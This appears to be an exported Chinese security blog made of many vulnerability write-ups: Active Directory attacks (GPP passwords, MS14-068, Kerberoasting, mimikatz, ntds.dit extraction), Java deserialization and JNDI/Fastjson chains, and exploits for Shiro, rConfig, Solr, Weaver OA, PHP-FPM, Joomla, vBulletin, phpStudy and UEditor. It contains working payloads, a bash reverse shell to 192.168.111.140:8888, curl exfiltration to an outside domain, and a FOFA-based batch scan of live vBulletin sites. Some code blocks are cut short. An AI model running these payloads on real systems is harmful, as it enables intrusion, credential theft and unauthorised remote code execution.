SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,默认情况下所有认证用户(任何域用户或受信任域中的用户)都可以读取。
GPP即Group Policy Preferences(组策略首选项),是一个组策略实施工具。利用GPP网络管理员可以实现多种网络管理,如驱动映射、添加计划任务、管理本地组和用户。
使用组策略添加用户密码、更新账号密码时会将AES-256加密后的密码存储在SYSVOL共享目录中的xml文件里,所有的组策略数据都存储在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
,而微软在2012年公布了改AES加密的私钥,导致加密后的密文可以被轻松解密。
下面新建一个组策略,更新test0的密码为test0
通过查看详细信息,可以获得该组策略的唯一id{6AC1786C-016F-11D2-945F-00C04FB984F9}
,因此存储密码的xml文件在\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\6AC1786C-016F-11D2-945F-00C04FB984F9\MACHINE\Preferences\Groups\Groups.xml
cpassword
字段存储的即是加密的密码
可以使用powershell脚本Get-GPPPassword.ps1直接获取到所有信息。
摘取其中解密函数,可将9bQnc7XTMrKH7Drfh3e0Fw
解密为密码test0
1 | function Get-DecryptedCpassword { |
在管理组策略的计算上安装KB2962486补丁,该补丁不再将密码保存在共享目录中。但是补丁之前的密码还会存留在SYSVOL目录中,补丁后应及时删除。
该漏洞可能允许攻击者将未经授权的域用户帐户的权限,提升到域管理员帐户的权限。
在域控没有打MS14-068的补丁且获得一个普通域用户以及密码/hash值的情况下可以轻松拿下域控。
whoami /all
获取sid
set l
或者dsquery server
获取域控机器名
使用ms14-068.exe
伪造kerberos票据
使用mimikatz
导入票据
首先清除票据mimikatz.exe "kerberos::purge" exit
然后导入mimikatz.exe "kerberos::ptc TGT_testuser@test.sec.ccache" exit
mimikatz.exe "kerberos::list" exit
查看导入成功后,使用dir \\WIN-SUHBP6P5S9R.test.sec\c$
可查看域控目录
使用PsExec.exe \\WIN-SUHBP6P5S9R.test.sec cmd.exe
可获得一个域控shell
注:使用windows server 2003复现时,无法利用mimikatz导入Kerberos票据,遂改用windows 7。
Kerberoast攻击,即攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。
使用命令 setspn -S MSSQLSvc/BOOGLE-WIN2003.TEST.SEC:1433 testuser
注册SPN
使用kerberost工具包中的GetUserSPNs.vbs
可查看与用户相关联的服务
请求SPN kerberos票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosReuestorSecurityToken -ArgumentList "MSSQLSvc/BOOGLE-WIN2003.TEST.SEC:1433"
然后使用klist
命令可查看kerberos票据
这里需要需要注意的是,如果票据会话密钥类型为AES-256-CTS-HMAC-SHA1-96
,需要通过修改服务器组策略将加密方式改为RC4_HMAC_MD5
,这样才可以使用tgsrepcrack.py
破解该票据。
1 | gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\ |
然后使用mimikatz
导出票据
mimikatz.exe "kerberos::list /export" exit
然后即可使用tgsrepcrack.py
破解Kerberos票据
内网横移即以被攻陷的系统为跳板,访问其他域内主机,通过不断的信息收集,扩大访问权限,直到控制域控制器或其他目标资产。
动横向移动的方式:
1)获得一台域主机的权限;
2)Dump内存获得用户hash;
3)通过pass the hash尝试登录其他主机;
4)续搜集hash并尝试远程登录;
5)获得域管理员账户hash,登录域控,最终成功
控制整个域;
Dump内存需要获得本地管理员权限,如果获得的权限较低需进行提权
使用Sherlock.ps1
脚本查找未安装的补丁
powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\Sherlock.ps1;Find-AllVulns}"
使用Powerup.ps1
查找系统服务权限配置错误漏洞
powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Invoke llChecks}"
查找可信任服务路径漏洞
1 | wmic service get name,displayname,pathname,startname |findstr /i "Auto"|findstr /i /v "C:\Windows\\" |findstr /i /v """ |
使用Powerup.ps1
查看是否开启windows Installer特权安装功能
powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
生成可以添加管理员账户的msi
powershell.exe -exec bypass -command "& {Import-Module C:\Users\testuser\Desktop\PowerUp.ps1;Write-UserAddMSI}"
运行该msi
msiexec /q /i UserAdd.msi
运行后添加的backdoor账号属于本地Administrators组成员
使用mimikatz
抓取用户密码和hash,通过Hash传递等方式不断扩大资产范围。
1 | mimikatz.exe |
使用如下命令创建一个快照,并获取快照GUID
1 | ntdsutil snapshot "activate instance ntds" create quit quit |
加载上面的快照,并将快照加载到C:\$SNAP_202004051018_VOLUME$\
1 | ntdsutil snapshot "mount {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" quit quit |
使用copy
命令从上面加载的快照文件中将ntds.dit
复制出来
1 | copy C:\$SNAP_202004051018_VOLUMEC$\windows\ntds\ntds.dit C:\Users\administrator\Desktop\ntds.dit |
同样的方法copy出来SAM
和SYSTEM
文件,其在windows\system32\config
文件夹下
卸载并删除快照
1 | ntdsutil snapshot "unmount {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" "delete {c4d3931d-9c58-4a37-8cfa-6c24a850cfba}" quit quit |
使用DSInternals cmdlet离线导出所有用户hash
1 | Install-Module DSInternals |
导出支持hashcat的NT hash
1 | Get-ADDBAccount -ALl -DBPath "C:\Users\boogle\Desktop\ntds.dit" -BootKey $key| Format-Custom -View HashcatN |
前边一篇学习分析了XmlDecoder
反序列化漏洞细节,XMLDecoder反序列化漏洞分析。Weblogic中因为默认包含的wls-wast
、wls9_async_response war
、_async
等包中采用xmldecoder处理XML数据,出现了多次具有严重影响的反序列化漏洞:CVE-2017-3506 -> CVE-2017-10271(10352) -> CVE-2019-2725 -> CVE-2019-2729,此篇将对weblogic xml反序列化漏洞进行分析。
本篇学习分析了wls-wast包中出现的CVE-2017-3506
、CVE-2017-10271
两个漏洞。
使用vulhub快速搭建weblogic,这里需要开启远程调试,所以修改一下docker-compose.yml
开启8453远程调试端口。
1 | version: '2' |
然后docker-compose up -d
启动容器,使用docker exec -it containerName /bin/bash
进入容器修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
以开启debug模式
添加如下内容
1 | debugFlag="true" |
然后重启容器 docker restart containerName
使用nestat -anp
查看8453端口已开启
然后将weblogic依赖包从容器中拷贝出来一份,以供IDEA远程调试
1 | docker cp containerName:/root/Oracle/Middleware/wlserver_10.3 . |
使用IDEA
打开 上面拷出来的wlserver_10.3
,然后将./server/lib
右键 Add as library
然后将刚才拷出来的modules
文件夹也加入到Libraries
然后再选择jdk
最后配置远程服务器,添加ip和端口
点击debug,出现下面内容即是配置成功。
漏洞触发位置
1 | /wls-wsat/CoordinatorPortType |
使用poc
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
参照诸位前辈的分析记录,漏洞调用链为
1 | weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest |
因此在wlserver_10.3\server\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.class
类的processRequest
方法处下断点,post发送poc。
断点成功,并且var1变量内容即为发送的xml内容
继续向下跟踪,v3获取到xml数据中<work:WorkContext> </work:WorkContext>
获取到的内容后进入readHeaderOld
方法
传进来的v1只获取了workContext
头部内容,然后使用ByteArrayOutputStream
读取缓存区的其余xml数据保存在var4,然后创建WorkContextXmlInputAdapter对象,进入receive
方法。
继续跟进,创建WorkContextMapInterceptor
对象,然后调用receiveRequest
方法。
然后又调用WorkContextLocalMap
的receiveRequest
方法
继续进入readEntry
方法
然后进入readUTF
方法
而最终readUTF
返回的是xmlDecoder.readOnject
,反序列化后成功执行命令。xmldecoder反序列化漏洞细节参考XMLDecoder反序列化漏洞分析
针对cve-2017-3506,官网发布下面的补丁,在validate
方法中针对object
标签采用黑名单的方式进行拦截,在XMLDecoder反序列化漏洞分析一文中曾讲过void
标签可代替object
。因此此处可使用void
标签绕过cve-2017-3506
的补丁。
1 | //cve-2017-3506补丁 |
随后,官网立即发布cve-2017-10271
补丁
1 | //cve-2017-10271 |
可以看到,在该补丁中,依旧采用黑名单方式
1、 禁用 object、new、method 标签
2、 当使用 void 标签,限制只能有 index 属性
3、 当使用 array 标签且使用 class 属性,则它的值只能是 byte
随后又爆出cve-2019-2725
针对此补丁的绕过方式,后续有时间再做分析。详情可参见https://www.freebuf.com/vuls/206374.html
https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html
http://whip1ash.cn/2018/10/21/weblogic-deserialization/
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
]]>XmlDeocoder
是java自带的以SAX方式解析xml的类。其在反序列化经过特殊构造的数据时可执行任意命令。Weblogic中就因为默认包含的wls-wast
、wls9_async_response war
、_async
等包中采用xmldecoder处理XML数据,出现了多次具有严重影响的反序列化漏洞:CVE-2017-3506 -> CVE-2017-10271(10352) -> CVE-2019-2725 -> CVE-2019-2729
下面是在学习XmlDecoder
反序列化漏洞过程中的一点学习记录。本次分析使用JDK版本为1.7.0_80
1 | //XmlTest.java |
使用上面的代码进行本次的动态跟踪xmldecoder
反序列化流程
1.xml
中的内容为经过特殊构造的xml数据,效果为弹出计算器
1 |
|
在java.lang.ProcessBuilder
类的start
方法处下断点,可以看到calc
命令被传入执行,并且函数调用栈非常深。
下面在readObject
处下断点,开始对整个过程动态追踪。
XMLDecoder的解析过程是基于Java自带的SAX XML解析进行的。所有类都在com.sun.beans.decoder包中。
前面的调用栈有点深,这里不做详细记录了,直接跳到DocumentHandler
类的startElement
方法处跟踪对标签的解析。
在DocumentHandler
的构造函数中,针对不同的标签,对应类不同的ElementHandler
进行处理
首先解析object
标签,创建ObjectElementHandler,设置Owner和Parent
跟进addAttribute
方法进行属性设置,由于该方式没有对class属性做处理,因此会调用ObjectElementHandler父类的方法,即NewElementHandler
类的addAttribute
方法。
在该方法中进入对class属性的处理,设置type值为java.lang.ProcessBuilder
对应的对象
设置完属性值后,调用startElement
方法,这里不满足条件,直接退出。
然后开始解析array
标签,创建ArrayElementHandler,设置Owner和Parent
同样调用addAttribute
方法进行属性设置,这里继续调用了ArrayElementHandler
父类NewElementHandler
的addAttribute
方法
设置type为java.lang.String
类对应的对象
继续设置array的length
属性后,最后进入到startElement
方法,这里array具有length属性,继续调用getValueObject
方法
因为ArrayElementHandler
没有getValueObject()
方法,所以调用其父类NewElementHandler
的方法
在父类方法中,又调用本类的有参getValueObject
方法,在该方法中创建了值为String类型长度为length的数组并返回
然后开始处理void
标签,创建VoidElementHandler,设置Owner和Parent
然后调用VoidElementHandler
父类ObjectElementHandler
的addAttribute
方法设置index
属性
继续解析string
标签,创建对应StringElementHandler,设置Owner和Parent。因为继承关系,会调用父类ElementHandler
的startElement()
,其为空方法,直接返回。
接着解析到string
的闭合标签,开始endElement。调用父类的endElement()
方法。
调用本类getValueObject
方法
设置value值为string标签内的内容calc
然后闭合void
标签
然后闭合array
标签,接着继续解析下面的void
标签
调用其父类addAttribute
方法设置method
属性为start
随后调用endElement
方法闭合void
标签,调用其父类的无参getValueObject
方法
在父类getValueObject()
方法中调用本类有参getValueObject
方法
在本类方法中又调用了getContextBean
(注意此处,下面的调用链将为此处v3返回值)
继续跟进,会调用父类ElementHandler的getContexBean
方法
然后会调用parent.getValueObject
即ObjectElementHandler
的getValueObject
方法
而ObjectElementHandler
没有无参getValueObject()
方法,会调用其父类方法。然后又调用类其有参getValueObject
方法,并将返回值赋给value.
继续跟进,会调用getContextBean
方法
然后返回type值即为之前设置的java.lang.ProcessBuilder
对应的对象
最终将这个java.lang.ProcessBuilder
对应的对象赋值到上面提到的v3
之后v4会设置为this.method
,即为start
之后调用创建一个Expresstion
对象,并调用其getValue方法,此方法会在此目标上动态查找具有指定 methodName 的方法,并调用该方法。详情参加Expression。即调用java.lang.ProcessBuilder
的start方法,执行命令,弹出计算器。
从上面的继承关系可以看到,VoidElementHandler
继承自ObjectElementHandler
,且仅改写了isArgument()方法,因此对整个触发过程中并无影响,所以此处使用void标签与object标签效果相同。
因此还可以使用下面的利用方式
1 |
|
篇幅有点长了,这个漏洞也从2019年学到了2020年,菜鸡的java入门之路属实有点难。
后面将再起文章,分析weblogic xmldecoder的反序列化漏洞。
http://jszx-jxpt.cuit.edu.cn/JavaAPI/java/beans/Expression.html
]]>本文主要记录了JNDI注入的原理及利用,并拿Fastjson反序列化漏洞作为例子简单分析了其在实际漏洞下的利用思路。
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
简单来说JNDI可以通过名字寻找存储在指定位置的对象(Object),比如对象可以存储在rmi,ldap,CORBA等。
Java RMI,即 远程方法调用(Remote Method Invocation),一种用于实现远程过程调用的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集。详情参加Java RMI详解。
LDAP,即目录访问协议(Lightweight Directory Access Protocol),是一种使用TCP/IP以允许客户机访问目录信息并完成认证服务的跨平台标准协议。
JNDI可以与RMI及LDAP的命名/目录服务进行通信,即RMI和LDAP相当于通信过程中的服务端,JNDI可以通过名称向其检索对应的对象。
以RMI进行演示
JndiClient.java
1 | import javax.naming.Context; |
RMIServer.java
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
JndiTest.java
1 | public class JndiTest { |
服务端:
(1)首先运行RMIServer
开启服务
(2)使用python开启一个http服务用于存放编译后的JndiTest
类:python -m SimpleHTTPServer 8081
客户端:
运行JndiClient
运行后虽然报错,但是已经成功调用到远程对象JndiTest的无参构造函数。
上面简单演示了通过JNDI调用远程对象,可以很明显的看到,当JndiClient
客户端代码中loopup()
方法的参数uri
可以被用户控制时,便可以指向攻击者的服务器,利用其会自动调用远程对象的无参构造方法的特性,可以实现任意代码执行,这就是JNDI注入。
fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题,早在2017年3月15日,fastjson官方就主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。之后陆陆续续又出现过几次绕过及补丁。详情参见:https://p0sec.net/index.php/archives/123/
FastJson通过toJsonString
和parseObject
来分别实现序列化和反序列化。
Java原生的反序列化过程中会调用readObject()
,因此对其重写不当可能会引起反序列化漏洞。
而FastJson在反序列化过程中,会调用
(1)对象的无参构造函数
(2)对象setter函数
(3)满足条件的getter函数(只有getter无setter且继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong)
刚好,在JdbcRowSetImpl类中存在符合条件的setter方法
首先在setAutoCommit
方法
1 | public void setAutoCommit(boolean var1) throws SQLException { |
调用了connect
方法
1 | private Connection connect() throws SQLException { |
在connect
方法出现了上面JNDI注入中提到的lookup
1 | DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); |
查看DataSourceName
方法是否可控,发现存在setDataSourceName
方法
1 | public void setDataSourceName(String name) throws SQLException { |
此时便可以构造POC了
1 | String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/ExecTest\", \"autoCommit\":true}"; |
这里使用ldap,使用marshalsec
可以快速构建
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#ExecTest 9999 |
同样在http://127.0.0.1:8080/
存放编译好的ExecTest
类,在该类中可执行任意代码,下面以弹出计算器示例。
1 | import java.io.BufferedReader; |
成功弹窗
序列化是一个用于将对象状态转换为字节流的过程,可以将其保存到磁盘文件中或通过网络发送到任何其他程序;从字节流创建对象的相反的过程称为反序列化。
类的对象会随着程序的终止而被垃圾收集器销毁。如果要在不重新创建对象的情况下调用该类,就需要通过序列化将数据转换为字节流进行存储或者传输,在合适的地方通过对字节流反序列化继续调用该类。而创建的字节流是与平台无关的,在一个平台上序列化的对象可以在不同的平台上反序列化。
通过ObjectOutputStream
类的writeObject(Object obj)
方法可以实现序列化。
通过ObjectInputStream
类的readObject(Object obj)
方法可以实现发序列化。
一个类的对象要想序列化成功,需要满足两个条件:
java.io.Serializable
接口。下面使用一个Demo来演示该过程。
一个满足上述序列化条件的任意类
1 | class Student implements Serializable { |
序列化Demo
1 | import java.io.*; |
通过上面的序列化Demo,将序列化后的字节流保存在了object.ser
文件中。
查看该文件,可以看到序列化特征头AC ED 00 05
然后写一个反序列化Demo,将上面的字节流文件还原为对象。
1 | import java.io.*; |
运行后输出
1 | Student@b815859 |
在java反序列化的过程中,会调用反序列化类的readObject()
方法,如果该方法书写不当,将会产生反序列化漏洞。
我们对上面的Student
类稍加修改,重写其readObject()
方法。
1 | class Student implements Serializable { |
使用之前的代码,对该类重新进行序列化反序列化后,将会运行readObject
方法里的命令,弹出计算器。
此时在序列化时将cmd
赋值为任意命令,便可以执行任意命令。
当然,这仅仅是一个测试的Demo,真实的代码中可能并不会出现如此低级的问题,但在真实环境中,可以通过一些列的调用代码链,最终达到上述Demo所实现的执行任意命令的效果。下面引入一个实例: Apache Commons Collections反序列化漏洞。
Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包,提供了很多强有力的数据结构类型并且实现了各种集合工具类。 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等均使用了该第三方库。
在2015年11月6日FoxGlove Security安全团队的@breenmachine公布了Apache Commons Collections配合java反序列化漏洞实现远程命令执行的真实案例,使用了该库的各大java Web Server都受到影响。
首先搭建漏洞环境,在web.xml
中添加以下配置获取受影响的commons-collections
版本。
1 | <dependency> |
Commons Collections
中实现了对Java标准数据结构Map接口的一个扩展类TransformedMap
。 该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换, 具体的变换逻辑由Transformer类定义 。
查看Transformer
接口类的具体实现,其问题出现在InvokerTransformer
类。
查看InvokerTransformer
类实现的transform
方法, 该方法中采用了反射的方法进行函数调用,其中的参数均为可控参数,因为可控制该方法实现任意代码执行。
那么现在可以通过 可以通过TransformedMap.decorate()
方法,获得一个TransformedMap
的实例。 当该实例内的key 或者 value发生变化时,就会触发相应的Transformer的transform()方法,执行任意命令。
现在进行Demo测试。
1 | public class POC_Test implements Serializable{ |
成功弹出计算器
现在想要在反序列化中进行利用,需要在readObject
方法中对Map进行其value
值的改变,我们修改上面的Student
类,使其满足我们这一美好的愿望。
1 | class Student implements Serializable { |
然后构造利用poc
1 | public class SerTest { |
成功请求到url
但是对于这样我们理想的Student
类还是不够通用,那么有没有具备这么理想的条件,即在readObject
方法中有对Map
类型进行setVlalue
操作的理想类,而且又能够通用的类呢?
回答是肯定的,这个类就是AnnotationInvocationHandler
。其位置在sun.reflect.annotation.AnnotationInvocationHandler
。
这样一来,Commons Collections Java反序列化漏洞的通用Poc便出来了
1 | public class POC_Test implements Serializable{ |
ysoserial
是集合了各种java反序列化payload的一个java反序列化工具。项目地址 https://github.com/frohoff/ysoserial
使用ysoserial
可以快速构建上面的payload
1 | java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections1 "curl 127.0.0.1/ysoserial_test" |xxd |
成功执行命令
https://www.cnblogs.com/lsdb/p/9830363.html
https://www.cnblogs.com/he1m4n6a/p/10131566.html
]]>在官网中可以得到该漏洞的描述,主要原因是因为shiro默认使用了CookieRememberMeManager
, 其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,其密钥硬编码在代码中为kPH+bIxk5D2deZiIxcaaaA==
。导致攻击者可以构造任意数据从而造成反序列化漏洞。
漏洞影响版本为shiro <= 1.2.4
使用docker快速搭建漏洞环境
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
获取java反序列化利用神器ysoserial
1 | git clone https://github.com/frohoff/ysoserial.git |
使用ysoserial
中JRMP监听模块并配置监听端口,添加要执行的命令。这里执行反弹shell命令bash -i >& /dev/tcp/192.168.111.140/8888 0>&1
这里命令需要进行一下base64编码 http://www.jackson-t.ca/runtime-exec-payloads.html
然后执行
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JPListener 3888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xNDAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}' |
然后监听本地8888
端口,等待反弹shell。
1 | nc -lvp 8888 |
使用如下脚本得到构造好的rememberMe
值
1 | import sys |
使用方法python shiro_rce.py ip:port
,其中ip和port为上面启动ysoserial
JRMP的ip地址和端口号
然后进行抓包,将cookie中的remeberMe
值替换即可。
然后便可收到反弹回的shell并可成功执行命令
]]>rConfig是一个开源网络设备配置管理解决方案,可以方便网络工程师快速、频繁管理网络设备快照。
近期国外安全研究员Askar公布了rConfig的两个RCE漏洞,并表示该漏洞未得到rConfig的确认修复。
影响至最新版本v3.9.2
下面对该漏洞进行复现。
第一个漏洞无需登陆即可触发,漏洞发生在install/lib/ajaxHandlers/ajaxServerSettingsChk.php
漏洞处代码
1 | $rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&amp;gt;&amp;amp;1'; // line 12 |
通过传入参数rootUname
可控制进入exec
的执行语句。
payload传入;id#
即可执行id
命令并得到回显。
该漏洞虽然未授权即可利用,但测试过程中该文件大部分情况下均为删除。
Askar
给出利用脚本如下
1 | #!/usr/bin/python |
第二个漏洞需要有一个认证账号,登陆后,漏洞触发点在lib/crud/search.crud.php
payload
1 | searchTerm=anything&catCommand=""&&$(`sleep 5`)# |
该利用点执行命令后,无回显,因此可以使用sleep
函数进行延迟判断
在这里我使用dnslog方式获取到命令回显
1 | ""&&$(curl http://zhengbao.wang/`whoami`)# |
成功获取到whoami
执行结果为apache
同样Askar
给出了反弹shell的利用方式。
1 | #!/usr/bin/python |
Apache Solr 是一个开源的搜索服务器,近日,国外安全研究院s00py爆出了一个apache solr的velocity的一个远程命令执行的0day,截至目前,官方未发布补丁。
漏洞poc在s00py已公布,详见https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
首先在Core Admin
查看应用路径,此处为logadmin
然后访问查看该应用config
文件是否可以访问
然后利用s00py公布的poc修改向config发送json配置继续修改
1 | POST /solr/test/config HTTP/1.1 |
修改成功后可利用poc执行任意代码
1 | GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom= ($x= )+ ($rt=$x.class.forName(.lang.Runtime ))+ ($chr=$x.class.forName(.lang.Character ))+ ($str=$x.class.forName(.lang.String ))+ ($ex=$rt.getRuntime().exec( ))+$ex.waitFor()+ ($out=$ex.getInputStream())+ ($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read())) |
1 | import requests |
泛微又双叒出问题了,2019年10月24日泛微OA被爆出数据库配置信息泄露,攻击者可通过访问指定页面获取加密的数据库配置信息,下面进行漏洞复现。
发生信息泄露的页面为/mobile/DBconfigReader.jsp
访问可查看到一串乱码,返回一行乱码即表明漏洞存在。
此串乱码即为数据库配置信息经过DES加密后的结果,而默认密钥在源码中可查看为1z2x3c4v5b6n
验证脚本
1 | import requests |
批量检测脚本
1 | import requests |
禁止访问mobile/DBconfigReader.jsp
https://github.com/NS-Sp4ce/Weaver-OA-E-cology-Database-Leak/blob/master/OA.py
]]>2019年9月26日,PHP官方发布了Ngnix+php-fpm在错误配置下造成的远程代码执行漏洞(CVE-2019-11043),2019年10月22日,漏洞poc被公开: https://github.com/neex/phuip-fpizdam
在Ngnix+php-fpm环境下,如果Ngnix有如下配置,将会产生漏洞
1 | location ~ [^/]\.php(/|$) { |
使用docker搭建漏洞,vubhub已有漏洞环境https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
docker-compose.yml
1 | version: '2' |
ngnix配置文件 default.conf
1 | server { |
然后docker-compose up -d
启动漏洞环境
1 | go get github.com/neex/phuip-fpizdam |
然后使用phuip-fpizdam进行利用./phuip-fpizdam url
,成功如下。
然后加参数?a=cmd
即可执行任意命令。
在业务不需要的情况下删除配置fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
ngnix配置文件存在检查 try_files $uri =404
或者 if (-f $uri)
泛微提供了移动办公、微信办公、协同办公(OA)、流程管理、信息门户、知识管理、费控管理等功能,适用于手机和pc端,是当今比较主流的OA系统之一。前段时间刚爆出Beanshell接口任意代码执行泛微OA远程代码执行漏洞利用),现在又爆出前台sql注入漏洞。
本次漏洞是由于WorkflowCenterTreeData接口在使用Oracle数据库时,参数过滤不严导致的sql注入漏洞。
1 | POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1 |
存在漏洞测试截图
返回空数据,则不存在漏洞
验证脚本
1 | import requests |
记录一下Oracle联合注入的一些语句
1 | 当前数据库版本 (select banner from sys.v_$version where rownum=1) |
例如获取数据库版本select banner from sys.v_$version where rownum=1
获取数据库名
select owner from all_tables where rownum=1
这里要想查询第二个数据库名要使用<>'SYS'
筛选掉第一个查询出来的
1 | select owner from all_tables where rownum=1 and owner <>'SYS' |
获取表名
1 | select table_name from user_tables where rownum=1 |
获取列名
1 | select column_name from user_tab_columns where table_name='ACTIONEXECUTELOG' and rownum=1 |
同样查询第二列需要筛选掉第一列
1 | select column_name from user_tab_columns where table_name='ACTIONEXECUTELOG' and rownum=1 and column_name<>'ID' |
查询更多的列可以继续筛选掉已查出的列名
获取数据
1 | select ID,ACTIONID from ACTIONEXECUTELOG |
joomla!是一套全球知名的内容管理系统,在此之前,joomla曾爆出过严重的反序列化漏洞CVE-2015-8562
,当时,在3.4.6
之后的版本中被修复。
Joomla会话作为PHP对象存储在数据库中,并由PHP会话函数处理。这是一个有趣的攻击媒介,因为会话也为未经身份验证的用户存储,因此在那里的对象注入会导致未经身份验证的RCE。此次影响的版本为3.0.0-3.4.6
10月7号,关于joomla 3.4.6的反序列化漏洞poc被公布。
环境搭建,joomla 3.4.6
下载地址https://downloads.joomla.org/it/cms/joomla3/3-4-6
我在原有脚本的基础上修改了一点进行简单利用,原版可参见https://cn.0day.today/exploit/33327
1 | import requests |
利用成功后将在配置文件configuration.php
中写入一句话
然后便可以进一步的利用
至此简单利用成功,后面有时间的话,继续对漏洞产生原因出一篇分析文章。
https://cn.0day.today/exploit/33327
https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
]]>vBulletin 是一个强大,灵活并可完全根据自己的需要定制的商用论坛程序套件,在全球拥有数万用户且增长速度很快。
2019年9月23日,vBulletin v5(5.0.0-5.5.4)被爆出存在远程代码执行的漏洞利用代码,CVE编号:CVE-2019-16759。
因为vBulletin为商用程序,而其用户群主要集中在欧美地区,这里直接使用fofa搜索线上环境测试一下。
搜索关键词app="vBulletin"
,得到一万多条结果
手动查看了一下大部分都是4.x版本,要不然就是漏洞不存在,这里直接批量获取批量测试一下。
1 | echo 'app="vBulletin"' | base64 - | xargs -I{} curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}" |
将获取到的内容保存到vb.txt
然后进行批量检测
1 | import requests |
手动测试一下
1 | POST |
至此复现成功,本文所有内容仅供测试,勿作他用。
官方已出修复补丁,尽快进行下载修复。
Phpstudy是国内的一款免费的PHP调试环境的程序集成包,其通过集成Apache、PHP、MySQL、phpMyAdmin不同版本软件于一身,一次性安装无需配置即可直接使用,具有PHP环境调试和PHP开发功能。对我这种小白来说简直就是一大神器,但就是这样一个伴随了我多达三年之久的神器,突然爆出被恶意植入远控后门,不多说,含泪测试一下自己。
poc
1 | # -*-coding:utf-8 -*- |
附上pcat的一个检测脚本
1 | # -*- coding:utf8 -*- |
及时清除后门文件并作安全检查看是否被种下其他后门
更新至最新版本,毕竟phpstudy还是给我们带来了很多的便捷,不能因噎废食。
泛微OA远程代码执行漏洞,泛微e-cology OA系统的JAVA Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行。
影响版本:7.0
8.0
8.1
通过访问泛微协同办公系统weaver/bsh.servlet.BshServlet
,可直接访问Beanshell接口执行任意命令,postbsh.script=exec("whoami");
即可执行命令。
1 | POST /weaver/bsh.servlet.BshServlet HTTP/1.1 |
升级到泛微OA最新版本或安装官方BSH补丁包https://www.weaver.com.cn/cs/securityDownload.asp
]]>测试遇到了BEA Weblogic Server ssrf漏洞,记录一下。
探测内网主机 10.10.0.217 2222端口
1 | http://zhengbao.wang/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.10.0.217:2222&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search |
端口开放回显did not have a valid SOAP content-type
,如下图
探测1234端口,端口关闭回显could not connect over HTTP to server
,如下图
根据回显不同,可做内网端口探测。
其他关于ssrf的利用,可参见博客文章 SSRF的一些利用姿势
]]>今天在渗透过程中碰到了一个UEditor .net版本,刚好最近想更新下博客,记录一个getshell的过程。
这个任意文件上传是18年8月份爆出来的,漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。
1 | if (response.ContentType.IndexOf("image") == -1) |
漏洞利用poc
1 | <form action="http://xx/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST"> |
然后在服务中构造绕过验证的一句话submit
即可
因为这里只验证了contentType,所以可以在代码中伪造contentType,我所使用的为
1 |
|
我这里使用的是php文件,利用的时候可以采用poc.php?.asp
的形式,这样上传后的文件就为asp文件了。
